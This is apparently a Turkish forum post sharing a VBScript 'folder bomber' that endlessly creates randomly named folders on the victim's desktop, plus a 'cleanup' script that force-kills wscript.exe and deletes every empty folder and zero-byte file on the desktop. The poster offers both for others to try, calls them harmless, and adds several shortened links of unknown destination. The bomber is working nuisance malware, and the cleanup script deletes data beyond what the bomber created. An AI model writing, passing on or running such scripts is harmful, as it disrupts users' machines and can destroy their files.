masa üstü klosör virüsü

'----------------FolderBomber.vbs---------------

Genişletmek için tıkla ...

'Made by türk
'web site https://tik.lat/Ffg76
Dim fso,sho,basfolder,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
bf.subFolders.Add("by türk_"&r) 'Create Folders with names begin with by türk and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop​

Genişletmek için tıkla ...

'Made by türk​

'web site https://tik.lat/rDWXW​

Dim fso, f, f1, fc, ss

Set fso = CreateObject("Scripting.FileSystemObject")

Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)​

count=0 'initialisation du compteur des Dossiers vides​

NBfichier=0 'initialisation du idesvompteur des fichiers

' Tuer le processus wscript

sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dosya Temizlendi",64,"by türk Virüs Temizleme"
Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"by türk Virüs Temizleme"​

Genişletmek için tıkla ...

https://tik.lat/xwwKJ

İsteyen kendi pc denesin temizleme kodu var süper 1 şey herhangi 1 zarar vermiyor bizzat kendim denedim